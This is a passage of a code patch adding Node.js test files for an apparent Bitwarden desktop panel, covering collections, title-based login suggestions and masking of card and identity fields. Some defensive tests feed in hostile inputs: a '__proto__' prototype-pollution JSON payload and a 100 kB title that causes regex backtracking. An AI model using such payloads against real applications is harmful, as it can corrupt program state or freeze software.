// Tests for organization collections on the item form.
|
||||
//
|
||||
// Field names were read from a real `bw list org-collections` response
|
||||
// (id / organizationId / name / externalId / object) and from the item
|
||||
// template, which carries collectionIds.
|
||||
//
|
||||
// node tests/collections.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.listOrgCollectionsCommand = listOrgCollectionsCommand
|
||||
exports.parseCollections = parseCollections
|
||||
exports.collectionName = collectionName
|
||||
exports.buildCreatePayload = buildCreatePayload
|
||||
exports.buildEditPayload = buildEditPayload
|
||||
exports.validateItemForm = validateItemForm
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// --- command ---
|
||||
check("collections are listed per organization with a producer-side byte limit",
|
||||
Model.listOrgCollectionsCommand("o1").join(" ").includes("bw list org-collections --organizationid o1")
|
||||
&& Model.listOrgCollectionsCommand("o1").join(" ").includes("head -c"),
|
||||
Model.listOrgCollectionsCommand("o1").join(" "))
|
||||
check("the session is not on the command line",
|
||||
!Model.listOrgCollectionsCommand("o1").join(" ").includes("--session"), "expected no --session")
|
||||
|
||||
// --- parsing ---
|
||||
const cols = Model.parseCollections(JSON.stringify([
|
||||
{ object: "org-collection", id: "c2", organizationId: "o1", name: "Ops", externalId: null },
|
||||
{ object: "org-collection", id: "c1", organizationId: "o1", name: "admin", externalId: null },
|
||||
{ object: "org-collection", name: "no id at all" },
|
||||
]))
|
||||
check("collections sort case-insensitively", cols.map(c => c.name).join(",") === "admin,Ops", cols.map(c => c.name).join(","))
|
||||
check("an entry without an id is dropped", cols.length === 2, JSON.stringify(cols))
|
||||
check("organizationId is carried through", cols[0].organizationId === "o1", JSON.stringify(cols[0]))
|
||||
check("malformed JSON yields an empty list",
|
||||
Model.parseCollections("{{").length === 0 && Model.parseCollections("").length === 0, "expected []")
|
||||
check("collectionName resolves a known id", Model.collectionName(cols, "c2") === "Ops", Model.collectionName(cols, "c2"))
|
||||
check("collectionName is empty for an unknown id", Model.collectionName(cols, "zz") === "", "expected empty")
|
||||
|
||||
// --- payloads ---
|
||||
// A personal item has no collections; sending the key at all would be wrong.
|
||||
check("a personal item carries no collectionIds",
|
||||
!("collectionIds" in Model.buildCreatePayload(1, "n", "", "", "", "", "", false, null, null, ["c1"])),
|
||||
"expected the key to be absent")
|
||||
check("an org item carries the chosen collections",
|
||||
JSON.stringify(Model.buildCreatePayload(1, "n", "", "", "", "", "", false, "o1", null, ["c1", "c2"]).collectionIds)
|
||||
=== JSON.stringify(["c1", "c2"]), "expected both ids")
|
||||
// Callers that predate collections pass ten arguments; they must not start
|
||||
// sending an empty array, which is not the same as sending nothing.
|
||||
check("an org item with no collections omits the key rather than sending []",
|
||||
!("collectionIds" in Model.buildCreatePayload(1, "n", "", "", "", "", "", false, "o1", null)),
|
||||
"expected the key to be absent")
|
||||
|
||||
const existing = { rawObject: { id: "1", type: 1, organizationId: "o1", collectionIds: ["keep"], login: {} } }
|
||||
check("editing keeps existing collections when none are supplied",
|
||||
JSON.stringify(Model.buildEditPayload(existing, "n", "", "", "", "", "", false, "o1", null).collectionIds)
|
||||
=== JSON.stringify(["keep"]), "expected the existing ids to survive")
|
||||
check("editing replaces collections when new ones are supplied",
|
||||
JSON.stringify(Model.buildEditPayload(existing, "n", "", "", "", "", "", false, "o1", null, ["c9"]).collectionIds)
|
||||
=== JSON.stringify(["c9"]), "expected the new ids")
|
||||
check("moving an item to a personal vault drops its collections",
|
||||
!("collectionIds" in Model.buildEditPayload(existing, "n", "", "", "", "", "", false, null, null, [])),
|
||||
"expected the key to be removed")
|
||||
|
||||
// --- validation ---
|
||||
// Bitwarden rejects an org item with no collection, so say so before the CLI does.
|
||||
check("an org item with no collection is refused",
|
||||
Model.validateItemForm("n", "o1", []) !== "", Model.validateItemForm("n", "o1", []))
|
||||
check("an org item with a collection is accepted",
|
||||
Model.validateItemForm("n", "o1", ["c1"]) === "", Model.validateItemForm("n", "o1", ["c1"]))
|
||||
check("a personal item needs no collection",
|
||||
Model.validateItemForm("n", null, []) === "" && Model.validateItemForm("n", "personal", []) === "",
|
||||
"expected personal items to pass")
|
||||
check("a blank title is still refused first",
|
||||
Model.validateItemForm(" ", "o1", ["c1"]).includes("title"), Model.validateItemForm(" ", "o1", ["c1"]))
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,329 @@
|
||||
#!/usr/bin/env node
|
||||
// Regression tests for the context-aware suggestion matcher in BitwardenModel.js.
|
||||
//
|
||||
// The matcher is heuristic and works from window titles alone, so it is easy to
|
||||
// regress in both directions: too strict and the right login stops appearing,
|
||||
// too loose and every .com item is suggested on every site. Run with:
|
||||
//
|
||||
// node tests/context-match.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const src = fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
const Model = {}
|
||||
new Function("exports", src.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.findContextualMatches = findContextualMatches
|
||||
exports.cleanWindowContext = cleanWindowContext
|
||||
exports.parseHost = parseHost
|
||||
exports.parseAssociations = parseAssociations
|
||||
exports.serializeAssociations = serializeAssociations
|
||||
exports.recordAssociation = recordAssociation
|
||||
exports.forgetAssociation = forgetAssociation
|
||||
exports.isAssociated = isAssociated
|
||||
exports.emptyAssociations = emptyAssociations
|
||||
exports.MAX_TITLE_CHARS = MAX_TITLE_CHARS
|
||||
exports.MAX_ASSOC_BYTES = MAX_ASSOC_BYTES
|
||||
`)(Model)
|
||||
|
||||
const items = [
|
||||
{ id: "1", name: "GitHub", uris: ["https://github.com"] },
|
||||
{ id: "2", name: "Amazon", uris: ["https://www.amazon.com"] },
|
||||
{ id: "3", name: "Home Assistant",uris: ["https://homeassistant.local:8123"] },
|
||||
{ id: "4", name: "Google", uris: ["https://accounts.google.com"] },
|
||||
{ id: "5", name: "Reddit", uris: ["https://reddit.com"] },
|
||||
{ id: "6", name: "Proton Mail", uris: ["https://account.proton.me"] },
|
||||
{ id: "7", name: "Cloudflare", uris: ["https://dash.cloudflare.com"] },
|
||||
{ id: "8", name: "My Bank", uris: ["https://www.chase.com"] },
|
||||
{ id: "9", name: "Netflix", uris: ["https://www.netflix.com"] },
|
||||
{ id: "10", name: "Jellyfin", uris: ["http://192.168.1.50:8096"] },
|
||||
{ id: "11", name: "GitHub (work)", uris: ["https://github.com"] },
|
||||
{ id: "12", name: "BBC iPlayer", uris: ["https://www.bbc.co.uk"] },
|
||||
{ id: "13", name: "Discord", uris: ["https://discord.com"] },
|
||||
{ id: "14", name: "Slack", uris: ["https://acme.slack.com"] },
|
||||
{ id: "15", name: "Spotify", uris: ["https://open.spotify.com"] },
|
||||
{ id: "16", name: "Nextcloud", uris: ["https://cloud.example.org"] },
|
||||
{ id: "17", name: "Router Admin", uris: ["http://192.168.1.1"] },
|
||||
{ id: "18", name: "AWS Console", uris: ["https://console.aws.amazon.com"] },
|
||||
]
|
||||
|
||||
// [window class, window title, expected suggestion names]
|
||||
const cases = [
|
||||
// Site name lives in the title but the domain does not -- the common case.
|
||||
["chromium", "Settings – Home Assistant - Chromium", ["Home Assistant"]],
|
||||
["chromium", "Reddit - Dive into anything - Chromium", ["Reddit"]],
|
||||
["chromium", "Netflix - Chromium", ["Netflix"]],
|
||||
["chromium", "Proton Mail - Chromium", ["Proton Mail"]],
|
||||
["chromium", "Cloudflare Dashboard - Chromium", ["Cloudflare"]],
|
||||
["chromium", "Chase Online - Credit Cards, Mortgages, Auto - Chromium", ["My Bank"]],
|
||||
["chromium", "Jellyfin - Chromium", ["Jellyfin"]],
|
||||
["chromium", "Files - Nextcloud - Chromium", ["Nextcloud"]],
|
||||
["chromium", "Acme Corp Slack - Chromium", ["Slack"]],
|
||||
["chromium", "Spotify – Web Player - Chromium", ["Spotify"]],
|
||||
["chromium", "AWS Management Console - Chromium", ["AWS Console"]],
|
||||
["firefox", "BBC iPlayer - Home — Mozilla Firefox", ["BBC iPlayer"]],
|
||||
["chromium", "Discord | #general | My Server - Chromium", ["Discord"]],
|
||||
|
||||
// Sign-in prefixes, unread counters and browser branding are noise.
|
||||
["firefox", "Sign in to GitHub · GitHub — Mozilla Firefox", ["GitHub", "GitHub (work)"]],
|
||||
["chromium", "(3) Inbox (1,204) - me@gmail.com - Gmail - Chromium", ["Google"]],
|
||||
|
||||
// Brand alias: the title never says "google".
|
||||
["chromium", "Gmail - Chromium", ["Google"]],
|
||||
["chromium", "Untitled document - Google Docs - Chromium", ["Google"]],
|
||||
|
||||
// A domain in the title must not drag in every item sharing its TLD.
|
||||
["chromium", "Amazon.com. Spend less. Smile more. - Chromium", ["Amazon", "AWS Console"]],
|
||||
|
||||
// Nothing identifiable: suggest nothing rather than guess.
|
||||
["chromium", "New Tab - Chromium", []],
|
||||
["chromium", "Sign in - Chromium", []],
|
||||
["chromium", "How to fix config.json v1.2 errors - Stack Overflow - Chromium", []],
|
||||
|
||||
// Terminals: local shells describe a machine, not a credential.
|
||||
["foot", "workstation: notes", []],
|
||||
// ...and a remote host must not match a different domain sharing a label.
|
||||
["foot", "ssh user@git.example.com", []],
|
||||
|
||||
// Native desktop apps match on window class.
|
||||
["discord", "Discord | #general", ["Discord"]],
|
||||
["spotify", "Spotify Premium", ["Spotify"]],
|
||||
]
|
||||
|
||||
// A large vault of .com sites: a single site must not suggest all of them.
|
||||
const floodItems = ["github","amazon","google","reddit","proton","cloudflare","chase",
|
||||
"netflix","discord","slack","spotify","dropbox","twitch","ebay","paypal","stripe",
|
||||
"linode","digitalocean","namecheap","fastmail","zoom","notion","figma","linear",
|
||||
"vercel","heroku","atlassian","gitlab","bitbucket","sentry","datadog","okta",
|
||||
"auth0","twilio","sendgrid","mailgun","shopify","squarespace","wordpress","medium"]
|
||||
.map((b, i) => ({ id: String(i), name: b, uris: ["https://www." + b + ".com"] }))
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
|
||||
function check(label, ok, detail) {
|
||||
if (ok) { pass++ } else { failures.push(label + "\n " + detail) }
|
||||
}
|
||||
|
||||
const sshLike = { id: "ssh-public", name: "GitHub deploy key", typeCode: 5,
|
||||
uris: ["https://github.com"], publicKey: "ssh-ed25519 AAAA" }
|
||||
check("context suggestions exclude SSH public records",
|
||||
Model.findContextualMatches(items.concat([sshLike]),
|
||||
{ class: "chromium", title: "GitHub - Chromium", mapped: true }).matches.every(m => m.id !== "ssh-public"),
|
||||
"SSH key leaked into contextual suggestions")
|
||||
|
||||
for (const [cls, title, expected] of cases) {
|
||||
const got = Model.findContextualMatches(items, { class: cls, title, mapped: true })
|
||||
.matches.map(m => m.name).sort()
|
||||
check(`[${cls}] ${title}`,
|
||||
JSON.stringify(got) === JSON.stringify(expected.slice().sort()),
|
||||
`expected [${expected}] but got [${got}]`)
|
||||
}
|
||||
|
||||
for (const [title, max] of [["Amazon.com. Spend less. Smile more. - Chromium", 1],
|
||||
["Some Random Blog Post About Nothing - Chromium", 0]]) {
|
||||
const got = Model.findContextualMatches(floodItems, { class: "chromium", title, mapped: true }).matches
|
||||
check(`flood: ${title}`, got.length <= max,
|
||||
`expected at most ${max} suggestion(s) from a 40-item vault, got ${got.length}: [${got.map(g => g.name)}]`)
|
||||
}
|
||||
|
||||
// Hostname parsing feeds every domain comparison.
|
||||
for (const [host, root, base] of [
|
||||
["github.com", "github", "github.com"],
|
||||
["dash.cloudflare.com", "cloudflare", "cloudflare.com"],
|
||||
["www.bbc.co.uk", "bbc", "bbc.co.uk"],
|
||||
["homeassistant.local", "homeassistant", "homeassistant.local"],
|
||||
["console.aws.amazon.com", "amazon", "amazon.com"],
|
||||
]) {
|
||||
const p = Model.parseHost(host)
|
||||
check(`parseHost(${host})`, p && p.rootName === root && p.baseDomain === base,
|
||||
`expected root=${root} base=${base}, got root=${p && p.rootName} base=${p && p.baseDomain}`)
|
||||
}
|
||||
|
||||
// The most recently focused non-shell client wins in a `hyprctl clients` list.
|
||||
const clients = [
|
||||
{ class: "quickshell", title: "shell", focusHistoryID: 0, mapped: true },
|
||||
{ class: "chromium", title: "Netflix - Chromium", focusHistoryID: 1, mapped: true },
|
||||
{ class: "foot", title: "workstation: notes", focusHistoryID: 2, mapped: true },
|
||||
]
|
||||
check("clients list picks most recent non-shell window",
|
||||
Model.findContextualMatches(items, clients).matches.map(m => m.name).join() === "Netflix",
|
||||
`got [${Model.findContextualMatches(items, clients).matches.map(m => m.name)}]`)
|
||||
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Learned associations
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// The case that no title heuristic can solve: an authentik portal on
|
||||
// auth.example.xyz titled "Home - authentik". The title and the stored URL
|
||||
// share no word at all.
|
||||
// Named so that neither the name nor the URL shares a word with the page title.
|
||||
const authentikItem = { id: "auth-1", name: "Personal SSO", uris: ["https://auth.example.xyz"] }
|
||||
const withAuthentik = items.concat([authentikItem])
|
||||
const authentikWindow = { class: "chromium", title: "Home - authentik - Chromium", mapped: true }
|
||||
|
||||
let assoc = Model.emptyAssociations()
|
||||
|
||||
check("authentik: unmatched before learning",
|
||||
Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.length === 0,
|
||||
`got [${Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.name)}]`)
|
||||
|
||||
// Pick the credential once while that window is active.
|
||||
const ctx = Model.cleanWindowContext(authentikWindow)
|
||||
assoc = Model.recordAssociation(assoc, ctx, authentikItem.id, "2026-08-20T00:00:00Z")
|
||||
|
||||
check("authentik: suggested after one pick",
|
||||
Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.id).join() === "auth-1",
|
||||
`got [${Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.name)}]`)
|
||||
|
||||
// Learning generalises across pages of the same site, which share the word.
|
||||
check("authentik: generalises to another page of the same site",
|
||||
Model.findContextualMatches(withAuthentik,
|
||||
{ class: "chromium", title: "Applications - authentik - Chromium", mapped: true }, assoc)
|
||||
.matches.map(m => m.id).join() === "auth-1",
|
||||
"expected the learned item on a sibling page")
|
||||
|
||||
check("authentik: does not leak to unrelated sites",
|
||||
Model.findContextualMatches(withAuthentik,
|
||||
{ class: "chromium", title: "Netflix - Chromium", mapped: true }, assoc)
|
||||
.matches.map(m => m.name).join() === "Netflix",
|
||||
"a learned key must not fire on an unrelated title")
|
||||
|
||||
check("isAssociated reports the learned pair", Model.isAssociated(assoc, ctx, "auth-1"), "expected true")
|
||||
|
||||
// Last pick wins, so a key learned from the wrong page corrects itself.
|
||||
const retargeted = Model.recordAssociation(assoc, ctx, "9", "2026-08-21T00:00:00Z")
|
||||
check("re-picking retargets the key",
|
||||
Model.findContextualMatches(withAuthentik, authentikWindow, retargeted).matches.map(m => m.id).join() === "9",
|
||||
"expected the newly picked item to win")
|
||||
|
||||
// Explicit unlearn.
|
||||
const forgotten = Model.forgetAssociation(assoc, ctx, "auth-1")
|
||||
check("forgetting removes the suggestion",
|
||||
Model.findContextualMatches(withAuthentik, authentikWindow, forgotten).matches.length === 0,
|
||||
"expected no suggestions after forgetting")
|
||||
|
||||
// A learned item outranks a heuristic match on the same window.
|
||||
let netflixAssoc = Model.recordAssociation(Model.emptyAssociations(),
|
||||
Model.cleanWindowContext({ class: "chromium", title: "Netflix - Chromium", mapped: true }), "11")
|
||||
check("learned item is ranked ahead of a heuristic match",
|
||||
Model.findContextualMatches(items, { class: "chromium", title: "Netflix - Chromium", mapped: true }, netflixAssoc)
|
||||
.matches[0].id === "11",
|
||||
"expected the learned item first")
|
||||
|
||||
// Round-tripping through the on-disk format must preserve behaviour.
|
||||
const roundTripped = Model.parseAssociations(Model.serializeAssociations(assoc))
|
||||
check("associations survive a save/load round trip",
|
||||
Model.findContextualMatches(withAuthentik, authentikWindow, roundTripped).matches.map(m => m.id).join() === "auth-1",
|
||||
"expected the learned item after reload")
|
||||
|
||||
check("corrupt association file degrades to empty",
|
||||
Model.parseAssociations("{{not json").keys && Object.keys(Model.parseAssociations("{{not json").keys).length === 0,
|
||||
"expected an empty store")
|
||||
|
||||
const hostileAssociations = Model.parseAssociations(
|
||||
'{"version":1,"keys":{"__proto__":{"polluted":true},"arbitrary":{"itemId":"x"},'
|
||||
+ '"word:valid":{"itemId":"auth-1","weight":1,"count":2,"updated":"2026-08-24T00:00:00Z"}}}')
|
||||
const copiedHostile = Model.recordAssociation(hostileAssociations, ctx, "auth-1", "2026-12-31T00:00:00Z")
|
||||
check("association parsing drops keys outside the domain/app/word schema",
|
||||
!Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "__proto__")
|
||||
&& !Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "arbitrary")
|
||||
&& Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "word:valid"),
|
||||
Object.keys(hostileAssociations.keys).join(","))
|
||||
check("hostile association keys cannot become the prototype of a copied store",
|
||||
copiedHostile.keys.polluted === undefined, JSON.stringify(copiedHostile.keys))
|
||||
check("association entries without a bounded string item id are dropped",
|
||||
Object.keys(Model.parseAssociations(
|
||||
'{"version":1,"keys":{"word:bad":{"itemId":{}},"word:good":{"itemId":"x"}}}').keys).join()
|
||||
=== "word:good",
|
||||
"invalid item id survived")
|
||||
check("unknown association schema versions fail closed",
|
||||
Object.keys(Model.parseAssociations(
|
||||
'{"version":999,"keys":{"word:old":{"itemId":"x"}}}').keys).length === 0,
|
||||
"unknown schema was accepted")
|
||||
|
||||
// Suggestions must still work with no association store at all.
|
||||
check("undefined associations are safe",
|
||||
Model.findContextualMatches(items, { class: "chromium", title: "Netflix - Chromium", mapped: true })
|
||||
.matches.map(m => m.name).join() === "Netflix",
|
||||
"expected heuristics to work without a store")
|
||||
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// A window title is written by the page, not by the user
|
||||
// ---------------------------------------------------------------------------
|
||||
//
|
||||
// Everything below is about one input: document.title, chosen by whatever the
|
||||
// browser is pointed at, arriving here through hyprctl. It is read on every
|
||||
// panel open, on the GUI thread, with the whole vault to compare it against.
|
||||
|
||||
// The title reaches the matcher clipped, so the per-item work the matcher does
|
||||
// over it cannot be scaled up by the page.
|
||||
const longTitle = "verylongword".repeat(6000)
|
||||
const clippedCtx = Model.cleanWindowContext({ class: "chromium", title: longTitle, mapped: true })
|
||||
check("a page-chosen title is clipped before matching",
|
||||
clippedCtx.matchText.length <= Model.MAX_TITLE_CHARS
|
||||
&& clippedCtx.rawTitle.length <= Model.MAX_TITLE_CHARS,
|
||||
`matchText=${clippedCtx.matchText.length} rawTitle=${clippedCtx.rawTitle.length}`)
|
||||
|
||||
// The host scanner used to be a single unanchored regex, and a long run of
|
||||
// letters with no dot in it drove it into quadratic backtracking: ~2.5s of
|
||||
// frozen shell for a 63 kB title, growing with the square of the length.
|
||||
// hyprctl hands over as much as a megabyte, so this is the honest size.
|
||||
const hostileTitle = "a".repeat(100000) + " - Chromium"
|
||||
const hostileWindow = { class: "chromium", title: hostileTitle, mapped: true }
|
||||
const bigVault = []
|
||||
for (let i = 0; i < 2000; i++) {
|
||||
bigVault.push({ id: `big-${i}`, name: `Account ${i}`, uris: [`https://site${i}example.com`] })
|
||||
}
|
||||
const started = Date.now()
|
||||
Model.findContextualMatches(bigVault, hostileWindow, Model.emptyAssociations())
|
||||
const elapsed = Date.now() - started
|
||||
check("a hostile window title does not stall the matcher", elapsed < 2000,
|
||||
`matching a 100 kB title against 2000 items took ${elapsed}ms`)
|
||||
|
||||
// Splitting replaced the regex, so prove it still reads the same hosts out.
|
||||
for (const [text, expected] of [
|
||||
["Files - Nextcloud - cloud.example.org", "example.org"],
|
||||
["https://sub.example.co.uk/path", "example.co.uk"],
|
||||
["see .example.com now", "example.com"],
|
||||
["a..b.example.com", "example.com"],
|
||||
["config.json is not a host", null],
|
||||
["version 1.2.3.4 released", null],
|
||||
["nothing here at all", null],
|
||||
]) {
|
||||
const got = Model.cleanWindowContext({ class: "chromium", title: text, mapped: true })
|
||||
const base = got && got.detectedDomain ? got.detectedDomain.baseDomain : null
|
||||
check(`host detection in ${JSON.stringify(text)}`, base === expected,
|
||||
`expected ${expected}, got ${base}`)
|
||||
}
|
||||
|
||||
// Every word of a title becomes a stored key, and the store is read back
|
||||
// through a byte cap that turns an oversized file into no file at all. The
|
||||
// write side has to stay under that cap on its own.
|
||||
let grown = Model.emptyAssociations()
|
||||
for (let p = 0; p < 300; p++) {
|
||||
const words = []
|
||||
for (let w = 0; w < 80; w++) words.push(`tok${p}x${w}zz`)
|
||||
grown = Model.recordAssociation(grown,
|
||||
Model.cleanWindowContext({ class: "chromium", title: words.join(" "), mapped: true }),
|
||||
"auth-1", `2026-08-${String((p % 28) + 1).padStart(2, "0")}T00:00:00Z`)
|
||||
}
|
||||
const grownBytes = Model.serializeAssociations(grown).length
|
||||
check("the association store stays inside the cap it is read back through",
|
||||
grownBytes < Model.MAX_ASSOC_BYTES,
|
||||
`store grew to ${grownBytes} bytes against a ${Model.MAX_ASSOC_BYTES} byte read cap`)
|
||||
|
||||
// Trimming must not cost the most recent lesson.
|
||||
const recentCtx = Model.cleanWindowContext(authentikWindow)
|
||||
const stillLearned = Model.recordAssociation(grown, recentCtx, "auth-1", "2026-12-31T00:00:00Z")
|
||||
check("the newest lesson survives trimming",
|
||||
Model.findContextualMatches(withAuthentik, authentikWindow, stillLearned).matches.map(m => m.id).join() === "auth-1",
|
||||
"expected the just-learned item to still be suggested")
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
#!/usr/bin/env node
|
||||
// The detail screen draws every labelled, copyable field through DetailField.
|
||||
// These assertions guard the properties that make a card safe to put on
|
||||
// screen -- masking, empty-field suppression, and the promise that a copy
|
||||
// still goes through the panel's one clipboard path.
|
||||
//
|
||||
// node tests/detail-field.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const read = f => fs.existsSync(path.join(__dirname, "..", f))
|
||||
? fs.readFileSync(path.join(__dirname, "..", f), "utf8") : ""
|
||||
|
||||
const fieldSrc = read("DetailField.qml")
|
||||
const panelSrc = read("Panel.qml")
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
check("DetailField exists", fieldSrc !== "", "DetailField.qml is missing")
|
||||
|
||||
// --- the component itself ----------------------------------------------------
|
||||
|
||||
check("an empty field draws nothing at all",
|
||||
/visible:\s*root\.value\s*!==\s*""/.test(fieldSrc),
|
||||
"an identity fills in a handful of its fields; the rest must not leave labelled blanks")
|
||||
|
||||
check("a sensitive field is masked until it is revealed",
|
||||
/masked:\s*root\.sensitive\s*&&\s*!root\.revealed/.test(fieldSrc)
|
||||
&& /text:\s*root\.masked\s*\?\s*Model\.maskString\(root\.value\)\s*:\s*root\.value/.test(fieldSrc),
|
||||
fieldSrc)
|
||||
|
||||
check("the reveal button appears only on sensitive fields",
|
||||
/visible:\s*root\.sensitive/.test(fieldSrc), fieldSrc)
|
||||
|
||||
check("the component reports intent rather than reaching for the clipboard",
|
||||
/signal copyRequested\(\)/.test(fieldSrc)
|
||||
&& /signal revealToggled\(\)/.test(fieldSrc)
|
||||
&& !/copyToClipboard/.test(fieldSrc),
|
||||
"DetailField must not know how a copy is performed")
|
||||
|
||||
check("field text is pinned to plain text",
|
||||
/textFormat:\s*Text\.PlainText/.test(fieldSrc), fieldSrc)
|
||||
|
||||
check("long values elide rather than pushing the row wider",
|
||||
/elide:\s*Text\.ElideRight/.test(fieldSrc), fieldSrc)
|
||||
|
||||
// --- how the detail screen uses it -------------------------------------------
|
||||
|
||||
const uses = panelSrc.match(/DetailField \{[\s\S]*?\n \}/g) || []
|
||||
check("the detail screen draws its fields through the component",
|
||||
uses.length >= 14, `found ${uses.length} DetailField uses`)
|
||||
|
||||
check("every use routes its copy through the panel's one clipboard path",
|
||||
uses.every(u => /onCopyRequested:\s*root\.copyToClipboard\(/.test(u)),
|
||||
uses.filter(u => !/onCopyRequested:\s*root\.copyToClipboard\(/.test(u)).join("\n---\n"))
|
||||
|
||||
// A card number, a security code, an SSN, a passport and a licence. Nothing
|
||||
// here can be rotated after it leaks, which is the argument for masking them
|
||||
// that a password does not have.
|
||||
for (const [label, value] of [
|
||||
["Card Number", "number"],
|
||||
["Security Code", "code"],
|
||||
["Social Security Number", "ssn"],
|
||||
["Passport Number", "passportNumber"],
|
||||
["Licence Number", "licenseNumber"],
|
||||
]) {
|
||||
const use = uses.find(u => u.includes(`label: "${label}"`))
|
||||
check(`${label} is masked on screen`,
|
||||
Boolean(use) && /sensitive:\s*true/.test(use),
|
||||
use || `no DetailField labelled ${label}`)
|
||||
check(`${label} reads the value the model parsed`,
|
||||
Boolean(use) && use.includes(value), use || "")
|
||||
}
|
||||
|
||||
// Brand and cardholder are printed on the front of the card in plain sight;
|
||||
// masking them would be theatre.
|
||||
for (const label of ["Brand", "Cardholder Name", "Expires"]) {
|
||||
const use = uses.find(u => u.includes(`label: "${label}"`))
|
||||
check(`${label} is not needlessly masked`,
|
||||
Boolean(use) && !/sensitive:\s*true/.test(use), use || `no DetailField labelled ${label}`)
|
||||
}
|
||||
|
||||
// --- reveals are per field ---------------------------------------------------
|
||||
//
|
||||
// One shared flag served every masked field to begin with, which was invisible
|
||||
// while a login had exactly one secret. A card has two and an identity three,
|
||||
// so revealing a card number also uncovered its security code, and an identity
|
||||
// showed its social security, passport and licence numbers together.
|
||||
|
||||
const revealKeys = uses
|
||||
.filter(u => /sensitive:\s*true/.test(u))
|
||||
.map(u => (u.match(/revealed: root\.isFieldRevealed\("([^"]+)"\)/) || [])[1])
|
||||
|
||||
check("every masked field has a reveal key", revealKeys.every(Boolean),
|
||||
JSON.stringify(revealKeys))
|
||||
check("no two masked fields share a reveal key",
|
||||
new Set(revealKeys).size === revealKeys.length, JSON.stringify(revealKeys))
|
||||
check("each toggles only its own key",
|
||||
uses.filter(u => /sensitive:\s*true/.test(u)).every(u => {
|
||||
const shown = (u.match(/revealed: root\.isFieldRevealed\("([^"]+)"\)/) || [])[1]
|
||||
const toggled = (u.match(/onRevealToggled: root\.toggleFieldReveal\("([^"]+)"\)/) || [])[1]
|
||||
return shown && shown === toggled
|
||||
}), "a field must reveal and hide the same key")
|
||||
|
||||
check("no single shared reveal flag is left",
|
||||
!/root\.passwordRevealed/.test(panelSrc),
|
||||
"one flag for every masked field is what caused them to move together")
|
||||
|
||||
check("toggling one key leaves the others alone",
|
||||
/if \(next\[key\]\) delete next\[key\]\s*\n\s*else next\[key\] = true/.test(panelSrc),
|
||||
"expected a per-key toggle over a copy of the map")
|
||||
|
||||
// `v` cannot mean five things at once, so it reaches the one secret the item is
|
||||
// mostly about and the tooltips only advertise it there.
|
||||
check("v reaches the item's principal secret only",
|
||||
/primaryRevealKey:\s*\n?\s*detailIsCard \? "cardNumber" : \(detailIsLoginLike \? "password" : ""\)/.test(panelSrc),
|
||||
"expected a single primary key per item type")
|
||||
check("the reveal hint is a property rather than a hardcoded (v)",
|
||||
/property string revealHint: ""/.test(fieldSrc)
|
||||
&& !/\+ " \(v\)"/.test(fieldSrc),
|
||||
"every masked field claimed the v shortcut")
|
||||
|
||||
// --- the save does not hold the panel hostage --------------------------------
|
||||
|
||||
check("the form closes when the command is launched, not when it returns",
|
||||
/createItemProc\.running = true[\s\S]{0,400}currentScreen = "main"/.test(panelSrc),
|
||||
"the user should get the panel back immediately")
|
||||
|
||||
check("only one save is in flight at a time",
|
||||
/if \(pendingSave\) \{[\s\S]{0,140}return\s*\n\s*\}/.test(panelSrc),
|
||||
"there is one process per kind; a second command would lose the first")
|
||||
|
||||
check("a row still being saved cannot be edited",
|
||||
/if \(item\.pending\) \{[\s\S]{0,120}Still saving/.test(panelSrc),
|
||||
"editing it would race the save it is waiting on")
|
||||
|
||||
check("nor deleted",
|
||||
/if \(detailItem\.pending \|\| Model\.isPendingItemId\(detailItem\.id\)\)/.test(panelSrc),
|
||||
"a create has no vault id to delete yet")
|
||||
|
||||
check("a refused save puts the list back to what the vault holds",
|
||||
/items = Model\.replaceItemById\(items, save\.id, save\.previous\)/.test(panelSrc),
|
||||
"the panel must not keep showing something the vault rejected")
|
||||
|
||||
check("and keeps what the user typed so it can be reopened",
|
||||
/failedSave = \{ name: save\.name, form: save\.form \}/.test(panelSrc)
|
||||
&& /function reopenFailedSave\(\)/.test(panelSrc),
|
||||
"a refused save must not cost the user their edit")
|
||||
|
||||
check("a save that lands but cannot be sanitised drops its provisional row",
|
||||
/if \(save && save\.isCreate\) items = Model\.replaceItemById\(items, save\.id, null\)/.test(panelSrc),
|
||||
"a provisional row must not survive the reload that replaces it")
|
||||
|
||||
check("the saving row is marked in the list",
|
||||
/text: itemData\.pending \? "[^"]*" : Model\.itemTypeGlyph/.test(panelSrc),
|
||||
"the user needs to see which row has not landed yet")
|
||||
|
||||
// --- gating ------------------------------------------------------------------
|
||||
|
||||
check("login fields are gated on the type, not on 'not an SSH key'",
|
||||
/readonly property bool detailIsLoginLike: detailTypeCode === 1 \|\| detailTypeCode === 2/.test(panelSrc)
